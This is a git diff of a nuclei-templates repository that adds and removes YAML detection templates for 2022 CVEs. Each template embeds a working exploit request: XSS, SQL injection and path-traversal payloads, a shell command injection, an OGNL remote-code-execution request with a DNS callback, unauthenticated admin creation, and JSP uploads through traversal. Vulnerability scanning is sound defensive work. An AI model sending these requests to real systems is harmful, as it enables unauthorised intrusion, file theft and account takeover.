a/nuclei-templates/CVE-2022/CVE-2022-24181.yaml b/nuclei-templates/CVE-2022/CVE-2022-24181.yaml deleted file mode 100644 index 706599f0a0..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-24181.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2022-24181 -info: - name: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS) - author: lucasljm2001,ekrause - severity: medium - description: | - Detects an XSS vulnerability in Open Journals System. - reference: - - https://www.exploit-db.com/exploits/50881 - - https://github.com/pkp/pkp-lib/issues/7649 - - https://youtu.be/v8-9evO2oVg - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-24181 - - https://nvd.nist.gov/vuln/detail/cve-2022-24181 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-24181 - metadata: - verified: true - tags: cve,cve2022,xss,oss,pkp-lib -requests: - - raw: - - | - GET /iupjournals/index.php/esj HTTP/2 - Host: {{Hostname}} - X-Forwarded-Host: foo">alert(document.domain)' + - '"Not authenticated"' + condition: and + - type: word + part: header + words: + - text/html diff --git a/nuclei-templates/CVE-2022/CVE-2022-24990.yaml b/nuclei-templates/CVE-2022/CVE-2022-24990.yaml deleted file mode 100644 index 406f650c14..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-24990.yaml +++ /dev/null @@ -1,59 +0,0 @@ -id: CVE-2022-24990 - -info: - name: TerraMaster TOS < 4.2.30 Server Information Disclosure - author: dwisiswant0 - severity: high - description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure. - remediation: | - Upgrade the TerraMaster TOS server to version 4.2.30 or later to mitigate the vulnerability. - reference: - - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/ - - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732 - - https://forum.terra-master.com/en/viewforum.php?f=28 - - http://packetstormsecurity.com/files/172904/TerraMaster-TOS-4.2.29-Remote-Code-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-24990 - cwe-id: CWE-306 - epss-score: 0.93762 - epss-percentile: 0.98891 - cpe: cpe:2.3:o:terra-master:terramaster_operating_system:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: terra-master - product: terramaster_operating_system - shodan-query: "TerraMaster" - tags: packetstorm,cve,cve2022,terramaster,exposure,kev - -http: - - method: GET - path: - - "{{BaseURL}}/module/api.php?mobile/webNasIPS" - - headers: - User-Agent: "TNAS" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "application/json" - - "TerraMaster" - condition: and - - - type: regex - part: body - regex: - - "webNasIPS successful" - - "(ADDR|(IFC|PWD|[DS]AT)):" - - "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":" - condition: or - - - type: status - status: - - 200 - -# digest: 490a00463044021f6e66448fd76e8c8c0990a581377289c1d141b0e49707e049e1dd3b470a9dcb022100ed94be8f7cd3c2849ec172f238359e54d558e772f488741c149d14999d5541f1:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-25369.yaml b/nuclei-templates/CVE-2022/CVE-2022-25369.yaml new file mode 100644 index 0000000000..38ab8f6953 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-25369.yaml @@ -0,0 +1,47 @@ +id: CVE-2022-25369 + +info: + name: Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation + author: pdteam + severity: critical + description: Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user. + remediation: 'Upgrade to one of the fixed versions or higher: Dynamicweb 9.5.9, 9.6.16, 9.7.8, 9.8.11, 9.9, 9.10.18, 9.12.8, or 9.13.0.' + reference: + - https://blog.assetnote.io/2022/02/20/logicflaw-dynamicweb-rce/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25369 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-25369 + cwe-id: CWE-425 + metadata: + max-request: 1 + shodan-query: http.component:"Dynamicweb" + tags: cve2022,cve,dynamicweb,rce,unauth + +http: + - method: GET + path: + - "{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@test.com&adminname=test" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"Success": true' + - '"Success":true' + condition: or + + - type: word + part: header + words: + - 'application/json' + - 'ASP.NET_SessionId' + condition: and + case-insensitive: true + + - type: status + status: + - 200 +# digest: 4a0a00473045022100b7f35452dbfcd48834f3400c73dcf201cc3872265ccf60c523480c1d6cee56fd02202c82c05a62a41f20bff8ca897e0fbf249b14b87a0da1aa8d03aebb40c626803d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-26134.yaml b/nuclei-templates/CVE-2022/CVE-2022-26134.yaml new file mode 100644 index 0000000000..0f5e4c501b --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-26134.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-26134 +info: + name: Confluence - Remote Code Execution + author: pdteam,jbertman + severity: critical + description: | + Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability. + reference: + - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis + - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html + - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ + - https://jira.atlassian.com/browse/CONFSERVER-79016 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-26134 + cwe-id: CWE-74 + metadata: + shodan-query: http.component:"Atlassian Confluence" + verified: "true" + tags: cve,cve2022,confluence,rce,ognl,oast,kev +requests: + - method: GET + path: + - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" + - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/" + stop-at-first-match: true + req-condition: true + matchers-condition: or + matchers: + - type: dsl + dsl: + - 'contains(to_lower(all_headers_1), "x-cmd-response:")' + - type: dsl + dsl: + - 'contains(interactsh_protocol, "dns")' + - 'contains(to_lower(response_2), "confluence")' + condition: and + extractors: + - type: kval + part: header + kval: + - "x_cmd_response" + +# Enhanced by mp on 2022/07/04 diff --git a/nuclei-templates/CVE-2022/CVE-2022-26148.yaml b/nuclei-templates/CVE-2022/CVE-2022-26148.yaml new file mode 100644 index 0000000000..1ff8a7785d --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-26148.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-26148 + +info: + name: Grafana & Zabbix Integration - Credentials Disclosure + author: Geekby + severity: critical + description: | + Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address. + reference: + - https://2k8.org/post-319.html + - https://security.netapp.com/advisory/ntap-20220425-0005/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-26148 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-26148 + epss-score: 0.15557 + metadata: + max-request: 1 + fofa-query: app="Grafana" + shodan-query: title:"Grafana" + tags: cve,cve2022,grafana,zabbix,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/login?redirect=%2F" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - '"password":"(.*?)"' + - '"username":"(.*?)"' + condition: and + + - type: word + part: body + words: + - '"zabbix":' + - '"zbx":' + - "alexanderzobnin-zabbix-datasource" + condition: or + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - '"password":"(.*?)"' + - '"username":"(.*?)"' + - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php' + +# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-26352.yaml b/nuclei-templates/CVE-2022/CVE-2022-26352.yaml new file mode 100644 index 0000000000..f75c2c3155 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-26352.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-26352 +info: + name: DotCMS - Arbitrary File Upload + author: h1ei1 + severity: critical + description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. + reference: + - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/ + - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352 + - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html + classification: + cve-id: CVE-2022-26352 + tags: cve,cve2022,rce,dotcms +requests: + - raw: + - | + POST /api/content/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3 + + --------------------------aadc326f7ae3eac3 + Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp" + Content-Type: text/plain + + <% + out.println("CVE-2022-26352"); + %> + --------------------------aadc326f7ae3eac3-- + - | + GET /{{randstr}}.jsp HTTP/1.1 + Host: {{Hostname}} + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_2, "CVE-2022-26352")' + - 'status_code_2 == 200' + condition: and + +# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-26564.yaml b/nuclei-templates/CVE-2022/CVE-2022-26564.yaml deleted file mode 100644 index f95d08a217..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-26564.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2022-26564 -info: - name: HotelDruid Hotel Management Software 3.0.3 XSS - author: alexrydzak - severity: medium - description: | - HotelDruid Hotel Management Software v3.0.3 contains a cross-site scripting (XSS) vulnerability. - reference: - - https://rydzak.me/2022/04/cve-2022-26564/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-26564 - - https://www.hoteldruid.com - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-26564 - cwe-id: CWE-79 - metadata: - shodan-query: http.favicon.hash:-1521640213 - tags: cve,cve2022,hoteldruid,xss -requests: - - method: GET - path: - - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>' - - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1' - - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>' - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "HotelDruid" - condition: and - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-26960.yaml b/nuclei-templates/CVE-2022/CVE-2022-26960.yaml new file mode 100644 index 0000000000..21b4f71879 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-26960.yaml @@ -0,0 +1,36 @@ +id: CVE-2022-26960 +info: + name: elFinder <=2.1.60 - Local File Inclusion + author: pikpikcu + severity: critical + description: | + elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. + reference: + - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html + - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db + - https://www.synacktiv.com/publications.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-26960 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.1 + cve-id: CVE-2022-26960 + cwe-id: CWE-22 + metadata: + verified: true + tags: cve,cve2022,lfi,elfinder +requests: + - raw: + - | + GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/05 diff --git a/nuclei-templates/CVE-2022/CVE-2022-27927.yaml b/nuclei-templates/CVE-2022/CVE-2022-27927.yaml deleted file mode 100644 index 96820d1ca3..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-27927.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2022-27927 -info: - name: Microfinance Management System 1.0 - SQL Injection - author: lucasljm2001,ekrause - severity: critical - description: | - Microfinance Management System 1.0 is susceptible to SQL Injection. - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927 - - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip - - https://www.exploit-db.com/exploits/50891 - - https://nvd.nist.gov/vuln/detail/CVE-2022-27927 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-27927 - cwe-id: CWE-89 - metadata: - verified: "true" - tags: cve,cve2022,sqli,microfinance -variables: - num: "999999999" -requests: - - raw: - - | - GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1 - Host: {{Hostname}} - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/04 diff --git a/nuclei-templates/CVE-2022/CVE-2022-28080.yaml b/nuclei-templates/CVE-2022/CVE-2022-28080.yaml new file mode 100644 index 0000000000..dc59377c75 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-28080.yaml @@ -0,0 +1,65 @@ +id: CVE-2022-28080 +info: + name: Royal Event - SQL Injection + author: lucasljm2001,ekrause,ritikchaddha + severity: high + description: | + Detects an SQL Injection vulnerability in Royal Event System + reference: + - https://www.exploit-db.com/exploits/50934 + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip + - https://nvd.nist.gov/vuln/detail/CVE-2022-28080 + - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2022-28080 + tags: cve,cve2022,sqli,authenticated,cms,royalevent +requests: + - raw: + - | + POST /royal_event/ HTTP/1.1 + Host: {{Hostname}} + Content-Length: 353 + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD + + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="username" + + {{username}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="password" + + {{password}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="login" + + + ------WebKitFormBoundaryCSxQll1eihcqgIgD-- + - | + POST /royal_event/btndates_report.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD + + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="todate" + + 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("{{randstr}}"),0x1,0x2),NULL-- - + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="search" + + 3 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="fromdate" + + 01/01/2011 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + words: + - '{{md5("{{randstr}}")}}' + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-28363.yaml b/nuclei-templates/CVE-2022/CVE-2022-28363.yaml new file mode 100644 index 0000000000..ffbcf1a3b7 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-28363.yaml @@ -0,0 +1,53 @@ +id: CVE-2022-28363 + +info: + name: Reprise License Manager 14.2 - Cross-Site Scripting + author: Akincibor + severity: medium + description: | + Reprise License Manager 14.2 contains a reflected cross-site scripting vulnerability in the /goform/login_process 'username' parameter via GET, whereby no authentication is required. + remediation: | + Upgrade to a patched version of Reprise License Manager or apply the vendor-supplied patch to mitigate this vulnerability. + reference: + - https://www.reprisesoftware.com/products/software-license-management.php + - https://github.com/advisories/GHSA-rpvc-qgrm-r54f + - http://packetstormsecurity.com/files/166647/Reprise-License-Manager-14.2-Cross-Site-Scripting-Information-Disclosure.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-28363 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-28363 + cwe-id: CWE-79 + epss-score: 0.00237 + epss-percentile: 0.61655 + cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: reprisesoftware + product: reprise_license_manager + tags: xss,rlm,packetstorm,cve,cve2022 + +http: + - method: GET + path: + - "{{BaseURL}}/goform/login_process?username=test%22%3E%3Csvg/onload=alert(document.domain)%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '' + - 'Login Failed' + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 + +# digest: 4a0a00473045022100e9721c06d4b0e767eabf044318a9e04e5fe294864011b3f0a6081c9e0ab4889b0220124b28e0005f4ac4ee9c00928495eca980eaba0cd0cdb8d1f26c98073c902e73:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-28365.yaml b/nuclei-templates/CVE-2022/CVE-2022-28365.yaml new file mode 100644 index 0000000000..2901fb229e --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-28365.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-28365 + +info: + name: Reprise License Manager 14.2 - Information Disclosure + author: Akincibor + severity: medium + description: | + Reprise License Manager 14.2 is susceptible to information disclosure via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information. An attacker can possibly obtain further sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Apply the latest security patch or upgrade to a non-vulnerable version of Reprise License Manager. + reference: + - https://www.reprisesoftware.com/products/software-license-management.php + - https://github.com/advisories/GHSA-4g2v-6x25-vr7p + - http://packetstormsecurity.com/files/166647/Reprise-License-Manager-14.2-Cross-Site-Scripting-Information-Disclosure.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-28365 + - https://www.reprisesoftware.com/RELEASE_NOTES + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-28365 + cwe-id: CWE-425 + epss-score: 0.00561 + epss-percentile: 0.75215 + cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: reprisesoftware + product: reprise_license_manager + tags: rlm,packetstorm,cve,cve2022,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/goforms/rlminfo" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "RLM Version" + - "Platform type" + condition: and + + - type: status + status: + - 200 + +# digest: 4a0a0047304502205821330339f0d29034ad51d0bd2c9c2ace4e7b307ad085540ce4f385939d6f7102210089477bf6056245d4a2c185812ec917c18538d593922361f020a3c6c14ee25015:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29014.yaml b/nuclei-templates/CVE-2022/CVE-2022-29014.yaml deleted file mode 100644 index 8d1df858e8..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29014.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2022-29014 -info: - name: Razer Sila Gaming Router v2.0.441_api-2.0.418 - LFI - author: edoardottt - severity: high - description: A local file inclusion vulnerability in Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to read arbitrary files. - reference: - - https://www.exploit-db.com/exploits/50864 - - https://nvd.nist.gov/vuln/detail/CVE-2022-29014 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29014 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-29014 - tags: cve,cve2022,razer,lfi,router -requests: - - raw: - - | - POST /ubus/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - {"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]} - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29298.yaml b/nuclei-templates/CVE-2022/CVE-2022-29298.yaml deleted file mode 100644 index 191cb6e9b8..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29298.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2022-29298 -info: - name: SolarView Compact 6.00 - Directory Traversal - author: ritikchaddha - severity: high - description: SolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal. - reference: - - https://www.exploit-db.com/exploits/50950 - - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view - - https://nvd.nist.gov/vuln/detail/CVE-2022-29298 - - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-29298 - cwe-id: CWE-22 - metadata: - shodan-query: http.html:"SolarView Compact" - verified: "true" - tags: cve,cve2022,lfi,solarview -requests: - - method: GET - path: - - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29299.yaml b/nuclei-templates/CVE-2022/CVE-2022-29299.yaml deleted file mode 100644 index 7bec163c15..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29299.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2022-29299 -info: - name: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting - author: For3stCo1d - severity: medium - description: | - SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php. - reference: - - https://www.exploit-db.com/exploits/50967 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29299 - classification: - cve-id: CVE-2022-29299 - metadata: - verified: true - shodan-query: http.favicon.hash:-244067125 - tags: cve,cve2022,xss,solarview -requests: - - method: GET - path: - - '{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6' - matchers-condition: and - matchers: - - type: word - part: body - words: - - '<"">' - - '/Solar_History.php" METHOD="post">' - condition: and - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 - -# Enhanced by cs 06/21/2022 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29303.yaml b/nuclei-templates/CVE-2022/CVE-2022-29303.yaml deleted file mode 100644 index 1d2c392e54..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29303.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-29303 - -info: - name: SolarView Compact 6.00 - OS Command Injection - author: badboycxcc - severity: critical - description: | - SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php. - reference: - - https://www.exploit-db.com/exploits/50940 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303 - - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-29303 - cwe-id: CWE-77 - metadata: - shodan-query: http.html:"SolarView Compact" - verified: "true" - tags: cve,cve2022,rce,injection,solarview,edb - -variables: - cmd: "cat${IFS}/etc/passwd" - -requests: - - raw: - - | - @timeout: 25s - POST /conf_mail.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M - - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0" - -# Enhanced by mp on 2022/06/01 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29455.yaml b/nuclei-templates/CVE-2022/CVE-2022-29455.yaml deleted file mode 100644 index f87ea5062f..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29455.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2022-29455 -info: - name: Wordpress Elementor <= 3.5.5 - DOM-based Reflected Cross-Site Scripting - author: rotembar,daffainfo - severity: medium - description: | - DOM-based Reflected Cross-Site Scripting (XSS) vulnerability in Elementor's Elementor Website Builder plugin <= 3.5.5 versions. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-29455 - - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor - - https://www.rotem-bar.com/elementor - - https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-29455 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2022,xss,wordpress,elementor -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/elementor/readme.txt' - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Elementor Website Builder' - - type: dsl - dsl: - - compare_versions(version, '<= 3.5.5') - - type: status - status: - - 200 - extractors: - - type: regex - name: version - internal: true - group: 1 - regex: - - "(?m)Stable tag: ([0-9.]+)" - - type: regex - group: 1 - regex: - - "(?m)Stable tag: ([0-9.]+)" diff --git a/nuclei-templates/CVE-2022/CVE-2022-29464.yaml b/nuclei-templates/CVE-2022/CVE-2022-29464.yaml new file mode 100644 index 0000000000..9326e5f753 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-29464.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-29464 +info: + name: WSO2 Management - Arbitrary File Upload & Remote Code Execution + author: luci,dhiyaneshDk + severity: critical + description: | + Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. + reference: + - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/ + - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 + - https://github.com/hakivvi/CVE-2022-29464 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29464 + cwe-id: CWE-434 + metadata: + shodan-query: http.favicon.hash:1398055326 + tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev +requests: + - raw: + - | + POST /fileupload/toolsAny HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311 + Content-Length: 348 + + -----------------------------250033711231076532771336998311 + Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp";filename="test.jsp" + Content-Type: application/octet-stream + + <% out.print("WSO2-RCE-CVE-2022-29464"); %> + -----------------------------250033711231076532771336998311-- + - | + GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1 + Host: 